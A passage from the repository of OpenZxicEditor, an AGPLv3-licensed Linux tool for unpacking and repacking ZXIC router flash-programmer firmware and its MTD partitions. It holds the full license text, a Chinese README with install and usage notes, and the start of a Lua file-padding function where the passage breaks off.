├── LICENSE ├── README.md ├── __lib__ ├── fillend.lua ├── json.lua ├── mtdcut.lua ├── mtdjoin.lua ├── mtdrepk.lua ├── mtdunpk.lua └── prjmove.lua ├── diffindo ├── installers ├── .packages │ ├── cstruct.deb │ ├── dependencies.deb │ ├── jefferson.deb │ └── lzallright.deb ├── install_apt.sh └── install_apt_beta.sh └── 开源许可.md /LICENSE: -------------------------------------------------------------------------------- 1 | GNU AFFERO GENERAL PUBLIC LICENSE 2 | Version 3, 19 November 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU Affero General Public License is a free, copyleft license for 11 | software and other kinds of works, specifically designed to ensure 12 | cooperation with the community in the case of network server software. 13 | 14 | The licenses for most software and other practical works are designed 15 | to take away your freedom to share and change the works. By contrast, 16 | our General Public Licenses are intended to guarantee your freedom to 17 | share and change all versions of a program--to make sure it remains free 18 | software for all its users. 19 | 20 | When we speak of free software, we are referring to freedom, not 21 | price. Our General Public Licenses are designed to make sure that you 22 | have the freedom to distribute copies of free software (and charge for 23 | them if you wish), that you receive source code or can get it if you 24 | want it, that you can change the software or use pieces of it in new 25 | free programs, and that you know you can do these things. 26 | 27 | Developers that use our General Public Licenses protect your rights 28 | with two steps: (1) assert copyright on the software, and (2) offer 29 | you this License which gives you legal permission to copy, distribute 30 | and/or modify the software. 31 | 32 | A secondary benefit of defending all users' freedom is that 33 | improvements made in alternate versions of the program, if they 34 | receive widespread use, become available for other developers to 35 | incorporate. Many developers of free software are heartened and 36 | encouraged by the resulting cooperation. However, in the case of 37 | software used on network servers, this result may fail to come about. 38 | The GNU General Public License permits making a modified version and 39 | letting the public access it on a server without ever releasing its 40 | source code to the public. 41 | 42 | The GNU Affero General Public License is designed specifically to 43 | ensure that, in such cases, the modified source code becomes available 44 | to the community. It requires the operator of a network server to 45 | provide the source code of the modified version running there to the 46 | users of that server. Therefore, public use of a modified version, on 47 | a publicly accessible server, gives the public access to the source 48 | code of the modified version. 49 | 50 | An older license, called the Affero General Public License and 51 | published by Affero, was designed to accomplish similar goals. This is 52 | a different license, not a version of the Affero GPL, but Affero has 53 | released a new version of the Affero GPL which permits relicensing under 54 | this license. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | TERMS AND CONDITIONS 60 | 61 | 0. Definitions. 62 | 63 | "This License" refers to version 3 of the GNU Affero General Public License. 64 | 65 | "Copyright" also means copyright-like laws that apply to other kinds of 66 | works, such as semiconductor masks. 67 | 68 | "The Program" refers to any copyrightable work licensed under this 69 | License. Each licensee is addressed as "you". "Licensees" and 70 | "recipients" may be individuals or organizations. 71 | 72 | To "modify" a work means to copy from or adapt all or part of the work 73 | in a fashion requiring copyright permission, other than the making of an 74 | exact copy. The resulting work is called a "modified version" of the 75 | earlier work or a work "based on" the earlier work. 76 | 77 | A "covered work" means either the unmodified Program or a work based 78 | on the Program. 79 | 80 | To "propagate" a work means to do anything with it that, without 81 | permission, would make you directly or secondarily liable for 82 | infringement under applicable copyright law, except executing it on a 83 | computer or modifying a private copy. Propagation includes copying, 84 | distribution (with or without modification), making available to the 85 | public, and in some countries other activities as well. 86 | 87 | To "convey" a work means any kind of propagation that enables other 88 | parties to make or receive copies. Mere interaction with a user through 89 | a computer network, with no transfer of a copy, is not conveying. 90 | 91 | An interactive user interface displays "Appropriate Legal Notices" 92 | to the extent that it includes a convenient and prominently visible 93 | feature that (1) displays an appropriate copyright notice, and (2) 94 | tells the user that there is no warranty for the work (except to the 95 | extent that warranties are provided), that licensees may convey the 96 | work under this License, and how to view a copy of this License. If 97 | the interface presents a list of user commands or options, such as a 98 | menu, a prominent item in the list meets this criterion. 99 | 100 | 1. Source Code. 101 | 102 | The "source code" for a work means the preferred form of the work 103 | for making modifications to it. "Object code" means any non-source 104 | form of a work. 105 | 106 | A "Standard Interface" means an interface that either is an official 107 | standard defined by a recognized standards body, or, in the case of 108 | interfaces specified for a particular programming language, one that 109 | is widely used among developers working in that language. 110 | 111 | The "System Libraries" of an executable work include anything, other 112 | than the work as a whole, that (a) is included in the normal form of 113 | packaging a Major Component, but which is not part of that Major 114 | Component, and (b) serves only to enable use of the work with that 115 | Major Component, or to implement a Standard Interface for which an 116 | implementation is available to the public in source code form. A 117 | "Major Component", in this context, means a major essential component 118 | (kernel, window system, and so on) of the specific operating system 119 | (if any) on which the executable work runs, or a compiler used to 120 | produce the work, or an object code interpreter used to run it. 121 | 122 | The "Corresponding Source" for a work in object code form means all 123 | the source code needed to generate, install, and (for an executable 124 | work) run the object code and to modify the work, including scripts to 125 | control those activities. However, it does not include the work's 126 | System Libraries, or general-purpose tools or generally available free 127 | programs which are used unmodified in performing those activities but 128 | which are not part of the work. For example, Corresponding Source 129 | includes interface definition files associated with source files for 130 | the work, and the source code for shared libraries and dynamically 131 | linked subprograms that the work is specifically designed to require, 132 | such as by intimate data communication or control flow between those 133 | subprograms and other parts of the work. 134 | 135 | The Corresponding Source need not include anything that users 136 | can regenerate automatically from other parts of the Corresponding 137 | Source. 138 | 139 | The Corresponding Source for a work in source code form is that 140 | same work. 141 | 142 | 2. Basic Permissions. 143 | 144 | All rights granted under this License are granted for the term of 145 | copyright on the Program, and are irrevocable provided the stated 146 | conditions are met. This License explicitly affirms your unlimited 147 | permission to run the unmodified Program. The output from running a 148 | covered work is covered by this License only if the output, given its 149 | content, constitutes a covered work. This License acknowledges your 150 | rights of fair use or other equivalent, as provided by copyright law. 151 | 152 | You may make, run and propagate covered works that you do not 153 | convey, without conditions so long as your license otherwise remains 154 | in force. You may convey covered works to others for the sole purpose 155 | of having them make modifications exclusively for you, or provide you 156 | with facilities for running those works, provided that you comply with 157 | the terms of this License in conveying all material for which you do 158 | not control copyright. Those thus making or running the covered works 159 | for you must do so exclusively on your behalf, under your direction 160 | and control, on terms that prohibit them from making any copies of 161 | your copyrighted material outside their relationship with you. 162 | 163 | Conveying under any other circumstances is permitted solely under 164 | the conditions stated below. Sublicensing is not allowed; section 10 165 | makes it unnecessary. 166 | 167 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 168 | 169 | No covered work shall be deemed part of an effective technological 170 | measure under any applicable law fulfilling obligations under article 171 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 172 | similar laws prohibiting or restricting circumvention of such 173 | measures. 174 | 175 | When you convey a covered work, you waive any legal power to forbid 176 | circumvention of technological measures to the extent such circumvention 177 | is effected by exercising rights under this License with respect to 178 | the covered work, and you disclaim any intention to limit operation or 179 | modification of the work as a means of enforcing, against the work's 180 | users, your or third parties' legal rights to forbid circumvention of 181 | technological measures. 182 | 183 | 4. Conveying Verbatim Copies. 184 | 185 | You may convey verbatim copies of the Program's source code as you 186 | receive it, in any medium, provided that you conspicuously and 187 | appropriately publish on each copy an appropriate copyright notice; 188 | keep intact all notices stating that this License and any 189 | non-permissive terms added in accord with section 7 apply to the code; 190 | keep intact all notices of the absence of any warranty; and give all 191 | recipients a copy of this License along with the Program. 192 | 193 | You may charge any price or no price for each copy that you convey, 194 | and you may offer support or warranty protection for a fee. 195 | 196 | 5. Conveying Modified Source Versions. 197 | 198 | You may convey a work based on the Program, or the modifications to 199 | produce it from the Program, in the form of source code under the 200 | terms of section 4, provided that you also meet all of these conditions: 201 | 202 | a) The work must carry prominent notices stating that you modified 203 | it, and giving a relevant date. 204 | 205 | b) The work must carry prominent notices stating that it is 206 | released under this License and any conditions added under section 207 | 7. This requirement modifies the requirement in section 4 to 208 | "keep intact all notices". 209 | 210 | c) You must license the entire work, as a whole, under this 211 | License to anyone who comes into possession of a copy. This 212 | License will therefore apply, along with any applicable section 7 213 | additional terms, to the whole of the work, and all its parts, 214 | regardless of how they are packaged. This License gives no 215 | permission to license the work in any other way, but it does not 216 | invalidate such permission if you have separately received it. 217 | 218 | d) If the work has interactive user interfaces, each must display 219 | Appropriate Legal Notices; however, if the Program has interactive 220 | interfaces that do not display Appropriate Legal Notices, your 221 | work need not make them do so. 222 | 223 | A compilation of a covered work with other separate and independent 224 | works, which are not by their nature extensions of the covered work, 225 | and which are not combined with it such as to form a larger program, 226 | in or on a volume of a storage or distribution medium, is called an 227 | "aggregate" if the compilation and its resulting copyright are not 228 | used to limit the access or legal rights of the compilation's users 229 | beyond what the individual works permit. Inclusion of a covered work 230 | in an aggregate does not cause this License to apply to the other 231 | parts of the aggregate. 232 | 233 | 6. Conveying Non-Source Forms. 234 | 235 | You may convey a covered work in object code form under the terms 236 | of sections 4 and 5, provided that you also convey the 237 | machine-readable Corresponding Source under the terms of this License, 238 | in one of these ways: 239 | 240 | a) Convey the object code in, or embodied in, a physical product 241 | (including a physical distribution medium), accompanied by the 242 | Corresponding Source fixed on a durable physical medium 243 | customarily used for software interchange. 244 | 245 | b) Convey the object code in, or embodied in, a physical product 246 | (including a physical distribution medium), accompanied by a 247 | written offer, valid for at least three years and valid for as 248 | long as you offer spare parts or customer support for that product 249 | model, to give anyone who possesses the object code either (1) a 250 | copy of the Corresponding Source for all the software in the 251 | product that is covered by this License, on a durable physical 252 | medium customarily used for software interchange, for a price no 253 | more than your reasonable cost of physically performing this 254 | conveying of source, or (2) access to copy the 255 | Corresponding Source from a network server at no charge. 256 | 257 | c) Convey individual copies of the object code with a copy of the 258 | written offer to provide the Corresponding Source. This 259 | alternative is allowed only occasionally and noncommercially, and 260 | only if you received the object code with such an offer, in accord 261 | with subsection 6b. 262 | 263 | d) Convey the object code by offering access from a designated 264 | place (gratis or for a charge), and offer equivalent access to the 265 | Corresponding Source in the same way through the same place at no 266 | further charge. You need not require recipients to copy the 267 | Corresponding Source along with the object code. If the place to 268 | copy the object code is a network server, the Corresponding Source 269 | may be on a different server (operated by you or a third party) 270 | that supports equivalent copying facilities, provided you maintain 271 | clear directions next to the object code saying where to find the 272 | Corresponding Source. Regardless of what server hosts the 273 | Corresponding Source, you remain obligated to ensure that it is 274 | available for as long as needed to satisfy these requirements. 275 | 276 | e) Convey the object code using peer-to-peer transmission, provided 277 | you inform other peers where the object code and Corresponding 278 | Source of the work are being offered to the general public at no 279 | charge under subsection 6d. 280 | 281 | A separable portion of the object code, whose source code is excluded 282 | from the Corresponding Source as a System Library, need not be 283 | included in conveying the object code work. 284 | 285 | A "User Product" is either (1) a "consumer product", which means any 286 | tangible personal property which is normally used for personal, family, 287 | or household purposes, or (2) anything designed or sold for incorporation 288 | into a dwelling. In determining whether a product is a consumer product, 289 | doubtful cases shall be resolved in favor of coverage. For a particular 290 | product received by a particular user, "normally used" refers to a 291 | typical or common use of that class of product, regardless of the status 292 | of the particular user or of the way in which the particular user 293 | actually uses, or expects or is expected to use, the product. A product 294 | is a consumer product regardless of whether the product has substantial 295 | commercial, industrial or non-consumer uses, unless such uses represent 296 | the only significant mode of use of the product. 297 | 298 | "Installation Information" for a User Product means any methods, 299 | procedures, authorization keys, or other information required to install 300 | and execute modified versions of a covered work in that User Product from 301 | a modified version of its Corresponding Source. The information must 302 | suffice to ensure that the continued functioning of the modified object 303 | code is in no case prevented or interfered with solely because 304 | modification has been made. 305 | 306 | If you convey an object code work under this section in, or with, or 307 | specifically for use in, a User Product, and the conveying occurs as 308 | part of a transaction in which the right of possession and use of the 309 | User Product is transferred to the recipient in perpetuity or for a 310 | fixed term (regardless of how the transaction is characterized), the 311 | Corresponding Source conveyed under this section must be accompanied 312 | by the Installation Information. But this requirement does not apply 313 | if neither you nor any third party retains the ability to install 314 | modified object code on the User Product (for example, the work has 315 | been installed in ROM). 316 | 317 | The requirement to provide Installation Information does not include a 318 | requirement to continue to provide support service, warranty, or updates 319 | for a work that has been modified or installed by the recipient, or for 320 | the User Product in which it has been modified or installed. Access to a 321 | network may be denied when the modification itself materially and 322 | adversely affects the operation of the network or violates the rules and 323 | protocols for communication across the network. 324 | 325 | Corresponding Source conveyed, and Installation Information provided, 326 | in accord with this section must be in a format that is publicly 327 | documented (and with an implementation available to the public in 328 | source code form), and must require no special password or key for 329 | unpacking, reading or copying. 330 | 331 | 7. Additional Terms. 332 | 333 | "Additional permissions" are terms that supplement the terms of this 334 | License by making exceptions from one or more of its conditions. 335 | Additional permissions that are applicable to the entire Program shall 336 | be treated as though they were included in this License, to the extent 337 | that they are valid under applicable law. If additional permissions 338 | apply only to part of the Program, that part may be used separately 339 | under those permissions, but the entire Program remains governed by 340 | this License without regard to the additional permissions. 341 | 342 | When you convey a copy of a covered work, you may at your option 343 | remove any additional permissions from that copy, or from any part of 344 | it. (Additional permissions may be written to require their own 345 | removal in certain cases when you modify the work.) You may place 346 | additional permissions on material, added by you to a covered work, 347 | for which you have or can give appropriate copyright permission. 348 | 349 | Notwithstanding any other provision of this License, for material you 350 | add to a covered work, you may (if authorized by the copyright holders of 351 | that material) supplement the terms of this License with terms: 352 | 353 | a) Disclaiming warranty or limiting liability differently from the 354 | terms of sections 15 and 16 of this License; or 355 | 356 | b) Requiring preservation of specified reasonable legal notices or 357 | author attributions in that material or in the Appropriate Legal 358 | Notices displayed by works containing it; or 359 | 360 | c) Prohibiting misrepresentation of the origin of that material, or 361 | requiring that modified versions of such material be marked in 362 | reasonable ways as different from the original version; or 363 | 364 | d) Limiting the use for publicity purposes of names of licensors or 365 | authors of the material; or 366 | 367 | e) Declining to grant rights under trademark law for use of some 368 | trade names, trademarks, or service marks; or 369 | 370 | f) Requiring indemnification of licensors and authors of that 371 | material by anyone who conveys the material (or modified versions of 372 | it) with contractual assumptions of liability to the recipient, for 373 | any liability that these contractual assumptions directly impose on 374 | those licensors and authors. 375 | 376 | All other non-permissive additional terms are considered "further 377 | restrictions" within the meaning of section 10. If the Program as you 378 | received it, or any part of it, contains a notice stating that it is 379 | governed by this License along with a term that is a further 380 | restriction, you may remove that term. If a license document contains 381 | a further restriction but permits relicensing or conveying under this 382 | License, you may add to a covered work material governed by the terms 383 | of that license document, provided that the further restriction does 384 | not survive such relicensing or conveying. 385 | 386 | If you add terms to a covered work in accord with this section, you 387 | must place, in the relevant source files, a statement of the 388 | additional terms that apply to those files, or a notice indicating 389 | where to find the applicable terms. 390 | 391 | Additional terms, permissive or non-permissive, may be stated in the 392 | form of a separately written license, or stated as exceptions; 393 | the above requirements apply either way. 394 | 395 | 8. Termination. 396 | 397 | You may not propagate or modify a covered work except as expressly 398 | provided under this License. Any attempt otherwise to propagate or 399 | modify it is void, and will automatically terminate your rights under 400 | this License (including any patent licenses granted under the third 401 | paragraph of section 11). 402 | 403 | However, if you cease all violation of this License, then your 404 | license from a particular copyright holder is reinstated (a) 405 | provisionally, unless and until the copyright holder explicitly and 406 | finally terminates your license, and (b) permanently, if the copyright 407 | holder fails to notify you of the violation by some reasonable means 408 | prior to 60 days after the cessation. 409 | 410 | Moreover, your license from a particular copyright holder is 411 | reinstated permanently if the copyright holder notifies you of the 412 | violation by some reasonable means, this is the first time you have 413 | received notice of violation of this License (for any work) from that 414 | copyright holder, and you cure the violation prior to 30 days after 415 | your receipt of the notice. 416 | 417 | Termination of your rights under this section does not terminate the 418 | licenses of parties who have received copies or rights from you under 419 | this License. If your rights have been terminated and not permanently 420 | reinstated, you do not qualify to receive new licenses for the same 421 | material under section 10. 422 | 423 | 9. Acceptance Not Required for Having Copies. 424 | 425 | You are not required to accept this License in order to receive or 426 | run a copy of the Program. Ancillary propagation of a covered work 427 | occurring solely as a consequence of using peer-to-peer transmission 428 | to receive a copy likewise does not require acceptance. However, 429 | nothing other than this License grants you permission to propagate or 430 | modify any covered work. These actions infringe copyright if you do 431 | not accept this License. Therefore, by modifying or propagating a 432 | covered work, you indicate your acceptance of this License to do so. 433 | 434 | 10. Automatic Licensing of Downstream Recipients. 435 | 436 | Each time you convey a covered work, the recipient automatically 437 | receives a license from the original licensors, to run, modify and 438 | propagate that work, subject to this License. You are not responsible 439 | for enforcing compliance by third parties with this License. 440 | 441 | An "entity transaction" is a transaction transferring control of an 442 | organization, or substantially all assets of one, or subdividing an 443 | organization, or merging organizations. If propagation of a covered 444 | work results from an entity transaction, each party to that 445 | transaction who receives a copy of the work also receives whatever 446 | licenses to the work the party's predecessor in interest had or could 447 | give under the previous paragraph, plus a right to possession of the 448 | Corresponding Source of the work from the predecessor in interest, if 449 | the predecessor has it or can get it with reasonable efforts. 450 | 451 | You may not impose any further restrictions on the exercise of the 452 | rights granted or affirmed under this License. For example, you may 453 | not impose a license fee, royalty, or other charge for exercise of 454 | rights granted under this License, and you may not initiate litigation 455 | (including a cross-claim or counterclaim in a lawsuit) alleging that 456 | any patent claim is infringed by making, using, selling, offering for 457 | sale, or importing the Program or any portion of it. 458 | 459 | 11. Patents. 460 | 461 | A "contributor" is a copyright holder who authorizes use under this 462 | License of the Program or a work on which the Program is based. The 463 | work thus licensed is called the contributor's "contributor version". 464 | 465 | A contributor's "essential patent claims" are all patent claims 466 | owned or controlled by the contributor, whether already acquired or 467 | hereafter acquired, that would be infringed by some manner, permitted 468 | by this License, of making, using, or selling its contributor version, 469 | but do not include claims that would be infringed only as a 470 | consequence of further modification of the contributor version. For 471 | purposes of this definition, "control" includes the right to grant 472 | patent sublicenses in a manner consistent with the requirements of 473 | this License. 474 | 475 | Each contributor grants you a non-exclusive, worldwide, royalty-free 476 | patent license under the contributor's essential patent claims, to 477 | make, use, sell, offer for sale, import and otherwise run, modify and 478 | propagate the contents of its contributor version. 479 | 480 | In the following three paragraphs, a "patent license" is any express 481 | agreement or commitment, however denominated, not to enforce a patent 482 | (such as an express permission to practice a patent or covenant not to 483 | sue for patent infringement). To "grant" such a patent license to a 484 | party means to make such an agreement or commitment not to enforce a 485 | patent against the party. 486 | 487 | If you convey a covered work, knowingly relying on a patent license, 488 | and the Corresponding Source of the work is not available for anyone 489 | to copy, free of charge and under the terms of this License, through a 490 | publicly available network server or other readily accessible means, 491 | then you must either (1) cause the Corresponding Source to be so 492 | available, or (2) arrange to deprive yourself of the benefit of the 493 | patent license for this particular work, or (3) arrange, in a manner 494 | consistent with the requirements of this License, to extend the patent 495 | license to downstream recipients. "Knowingly relying" means you have 496 | actual knowledge that, but for the patent license, your conveying the 497 | covered work in a country, or your recipient's use of the covered work 498 | in a country, would infringe one or more identifiable patents in that 499 | country that you have reason to believe are valid. 500 | 501 | If, pursuant to or in connection with a single transaction or 502 | arrangement, you convey, or propagate by procuring conveyance of, a 503 | covered work, and grant a patent license to some of the parties 504 | receiving the covered work authorizing them to use, propagate, modify 505 | or convey a specific copy of the covered work, then the patent license 506 | you grant is automatically extended to all recipients of the covered 507 | work and works based on it. 508 | 509 | A patent license is "discriminatory" if it does not include within 510 | the scope of its coverage, prohibits the exercise of, or is 511 | conditioned on the non-exercise of one or more of the rights that are 512 | specifically granted under this License. You may not convey a covered 513 | work if you are a party to an arrangement with a third party that is 514 | in the business of distributing software, under which you make payment 515 | to the third party based on the extent of your activity of conveying 516 | the work, and under which the third party grants, to any of the 517 | parties who would receive the covered work from you, a discriminatory 518 | patent license (a) in connection with copies of the covered work 519 | conveyed by you (or copies made from those copies), or (b) primarily 520 | for and in connection with specific products or compilations that 521 | contain the covered work, unless you entered into that arrangement, 522 | or that patent license was granted, prior to 28 March 2007. 523 | 524 | Nothing in this License shall be construed as excluding or limiting 525 | any implied license or other defenses to infringement that may 526 | otherwise be available to you under applicable patent law. 527 | 528 | 12. No Surrender of Others' Freedom. 529 | 530 | If conditions are imposed on you (whether by court order, agreement or 531 | otherwise) that contradict the conditions of this License, they do not 532 | excuse you from the conditions of this License. If you cannot convey a 533 | covered work so as to satisfy simultaneously your obligations under this 534 | License and any other pertinent obligations, then as a consequence you may 535 | not convey it at all. For example, if you agree to terms that obligate you 536 | to collect a royalty for further conveying from those to whom you convey 537 | the Program, the only way you could satisfy both those terms and this 538 | License would be to refrain entirely from conveying the Program. 539 | 540 | 13. Remote Network Interaction; Use with the GNU General Public License. 541 | 542 | Notwithstanding any other provision of this License, if you modify the 543 | Program, your modified version must prominently offer all users 544 | interacting with it remotely through a computer network (if your version 545 | supports such interaction) an opportunity to receive the Corresponding 546 | Source of your version by providing access to the Corresponding Source 547 | from a network server at no charge, through some standard or customary 548 | means of facilitating copying of software. This Corresponding Source 549 | shall include the Corresponding Source for any work covered by version 3 550 | of the GNU General Public License that is incorporated pursuant to the 551 | following paragraph. 552 | 553 | Notwithstanding any other provision of this License, you have 554 | permission to link or combine any covered work with a work licensed 555 | under version 3 of the GNU General Public License into a single 556 | combined work, and to convey the resulting work. The terms of this 557 | License will continue to apply to the part which is the covered work, 558 | but the work with which it is combined will remain governed by version 559 | 3 of the GNU General Public License. 560 | 561 | 14. Revised Versions of this License. 562 | 563 | The Free Software Foundation may publish revised and/or new versions of 564 | the GNU Affero General Public License from time to time. Such new versions 565 | will be similar in spirit to the present version, but may differ in detail to 566 | address new problems or concerns. 567 | 568 | Each version is given a distinguishing version number. If the 569 | Program specifies that a certain numbered version of the GNU Affero General 570 | Public License "or any later version" applies to it, you have the 571 | option of following the terms and conditions either of that numbered 572 | version or of any later version published by the Free Software 573 | Foundation. If the Program does not specify a version number of the 574 | GNU Affero General Public License, you may choose any version ever published 575 | by the Free Software Foundation. 576 | 577 | If the Program specifies that a proxy can decide which future 578 | versions of the GNU Affero General Public License can be used, that proxy's 579 | public statement of acceptance of a version permanently authorizes you 580 | to choose that version for the Program. 581 | 582 | Later license versions may give you additional or different 583 | permissions. However, no additional obligations are imposed on any 584 | author or copyright holder as a result of your choosing to follow a 585 | later version. 586 | 587 | 15. Disclaimer of Warranty. 588 | 589 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 590 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 591 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 592 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 593 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 594 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 595 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 596 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 597 | 598 | 16. Limitation of Liability. 599 | 600 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 601 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 602 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 603 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 604 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 605 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 606 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 607 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 608 | SUCH DAMAGES. 609 | 610 | 17. Interpretation of Sections 15 and 16. 611 | 612 | If the disclaimer of warranty and limitation of liability provided 613 | above cannot be given local legal effect according to their terms, 614 | reviewing courts shall apply local law that most closely approximates 615 | an absolute waiver of all civil liability in connection with the 616 | Program, unless a warranty or assumption of liability accompanies a 617 | copy of the Program in return for a fee. 618 | 619 | END OF TERMS AND CONDITIONS 620 | 621 | How to Apply These Terms to Your New Programs 622 | 623 | If you develop a new program, and you want it to be of the greatest 624 | possible use to the public, the best way to achieve this is to make it 625 | free software which everyone can redistribute and change under these terms. 626 | 627 | To do so, attach the following notices to the program. It is safest 628 | to attach them to the start of each source file to most effectively 629 | state the exclusion of warranty; and each file should have at least 630 | the "copyright" line and a pointer to where the full notice is found. 631 | 632 | 633 | Copyright (C) 634 | 635 | This program is free software: you can redistribute it and/or modify 636 | it under the terms of the GNU Affero General Public License as published 637 | by the Free Software Foundation, either version 3 of the License, or 638 | (at your option) any later version. 639 | 640 | This program is distributed in the hope that it will be useful, 641 | but WITHOUT ANY WARRANTY; without even the implied warranty of 642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 643 | GNU Affero General Public License for more details. 644 | 645 | You should have received a copy of the GNU Affero General Public License 646 | along with this program. If not, see . 647 | 648 | Also add information on how to contact you by electronic and paper mail. 649 | 650 | If your software can interact with users remotely through a computer 651 | network, you should also make sure that it provides a way for users to 652 | get its source. For example, if your program is a web application, its 653 | interface could display a "Source" link that leads users to an archive 654 | of the code. There are many ways you could offer source, and different 655 | solutions will be better for different programs; see section 13 for the 656 | specific requirements. 657 | 658 | You should also get your employer (if you work as a programmer) or school, 659 | if any, to sign a "copyright disclaimer" for the program, if necessary. 660 | For more information on this, and how to apply and follow the GNU AGPL, see 661 | . 662 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 |

OpenZxicEditor

4 | 5 | **一个 POSIX 兼容的 Mifi~Studio ZXIC-RomKit 开源分支** 6 | 7 |
8 | 9 | --- 10 | 11 | #### For English documentation or detatiled information, please refer to [![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/exp-3/OpenZxicEditor). 12 | 13 | --- 14 | 15 | ## 简介 16 | 17 | 一键解包和打包 zxic 烧录器固件的工具。 18 | 19 | 附带 MTD 分区的拆分和合并功能。 20 | 21 | ## 兼容性 22 | 23 | 已确认在以下系统环境中可使用: 24 | 25 | #### Ubuntu 26 | 27 | - 22.04 及更高版本请直接使用`installers/install_apt.sh`完成安装 28 | - 低于 22.04 的版本可能还需手动安装`lua5.4` `python3-pip`和`jefferson` 29 | 30 | #### Debian 31 | 32 | - 12 及更高版本请直接使用`installers/install_apt.sh`完成安装 33 | - 11 版本还需手动安装`jefferson` 34 | - 低于 11 的版本还需手动安装`lua5.4` 35 | 36 | ## 使用方法 37 | 38 | ### 一键解包 39 | 40 | ```shell 41 | ./diffindo -d [烧录器镜像路径] 42 | ``` 43 | 44 | 把烧录器固件拆分为分区文件并解包。 45 | 46 | 解包后的文件会放在名称以`z.`开头的工程文件夹中。 47 | 48 | > [!NOTE] 49 | > 烧录器固件拆分依赖 mtdcut ,但它并非完全开源的,因此属于 restricted 组件。
50 | > OpenZxicEditor 已取得部分权利并默认附带。如果您反感此行为,请自行将其移除。 51 | 52 | ### 一键打包 53 | 54 | ```shell 55 | ./diffindo -c [工程文件夹路径]? 56 | ``` 57 | 58 | 打包所有解包的分区,并重新整合成烧录器固件。 59 | 60 | 解包数据与 Windows 中的 ufiStudio 不通用,请在 Linux/Unix 环境中生成`*_unpacked`解包文件夹。 61 | 62 | 如果未通过参数输入工程文件夹路径,则会使用默认值`MTDs`。 63 | 64 | 打包后将在对应工程文件夹中生成新的镜像文件`full_new.bin`,可直接使用烧录器写入闪存。 65 | 66 | ### 更多用法 67 | 68 | 您可以通过以下命令查看更多用法: 69 | 70 | ```shell 71 | ./diffindo --help 72 | ``` 73 | 74 | ## 注意事项 75 | 76 | 1. 此程序尚不完善,可能存在一些问题,欢迎提出建议。 77 | 2. 开发时已留意了空格和中文路径的问题,但如果遇到迷惑 bug 可以尝试将文件放到简单路径下再试。 78 | 3. 软件会解包所有受支持的分区类型。如果某分区不需要修改,那么建议删除相应的解包文件夹,合并时将会自动使用原版。 79 | 4. 如需查看分区解包/打包时的详细信息(日志),请创建文件`__lib__\--enable-log`。 80 | 81 | ## 使用须知 82 | 83 | 1. 禁止将此项目用于任何非法和不道德的行为,所造成的任何后果由使用者承担。
84 | 且不建议将此项目用于商业用途,如遇纠纷及其他不良后果请贩卖者自行承担。 85 | 2. 如需二次开发,请遵守 AGPLv3 协议 (详见 开源许可.md),并明确标注版权信息和出处。
86 | 如果出于规避 AGPLv3 协议等目的需要仿制/重制本项目,请遵循白盒净室开发流程,并注明参考资料出处。 87 | 88 | ## 关于项目 89 | 90 | 1. 本项目的开发目的是研究 ZXIC 路由的固件格式,并希望为爱好者学习提供便利。 91 | 2. 目前仅确认支持 ZX7520v3 芯片平台的固件,其他固件格式可能存在差异,请自行研究。 92 | 3. ufiStudio 系列软件 (含 OpenZxicEditor) 现已完全由 MiFi~Lab 独立维护。即日起不再通过 ufitech 或 uficlub 发布。 93 | 4. 欢迎各位用户和开发者提出建议,协助完善本项目。 94 | -------------------------------------------------------------------------------- /__lib__/fillend.lua: -------------------------------------------------------------------------------- 1 | -- OpenZxicEditor 2 | -- 版权所有 (C) 2024-2025 MiFi~Lab & OpenZxicEditor Developers. 3 | -- 4 | -- 本程序是自由软件:您可以基于自由软件基金会发布的GNU Affero通用公共许可证的条款下重新分发和/或修改它,或者本许可证第三版或者(由您选择)任何后续版本。 5 | -- 分发本程序是希望它能派上用场,但没有任何担保,甚至也没有对其适销性或特定目的适用性的默示担保。更多细节请参见“GNU Affero通用公共许可证”。 6 | -- 您应该已收到本程序随附的GNU Affero通用公共许可证的副本。如未收到,请参见:http://www.gnu.org/licenses/ 。 7 | -- 8 | -- 填充函数 9 | local function fill(filePath, desiredSize, fillChar) 10 | if not fillChar then 11 | fillChar = 0xFF 12 | end 13 | -- 打开文件 14 | local file = io.open(filePath, "r+b") -- 读写模式,二进制模式 15 | if not file then 16 | -- 如果文件不存在,创建一个新文件 17 | file = io.open(filePath, "w+b") 18 | end 19 | -- 检查文件当前大小 20 | local currentSize = file:seek("end") 21 | -- 计算需要填充的字节大小 22 | local bytesToFill = desiredSize - currentSize 23 | -- 如果需要填充 24 | if bytesToFill > 0 then 25 | -- 生成一个包含0xFF的字符串 26 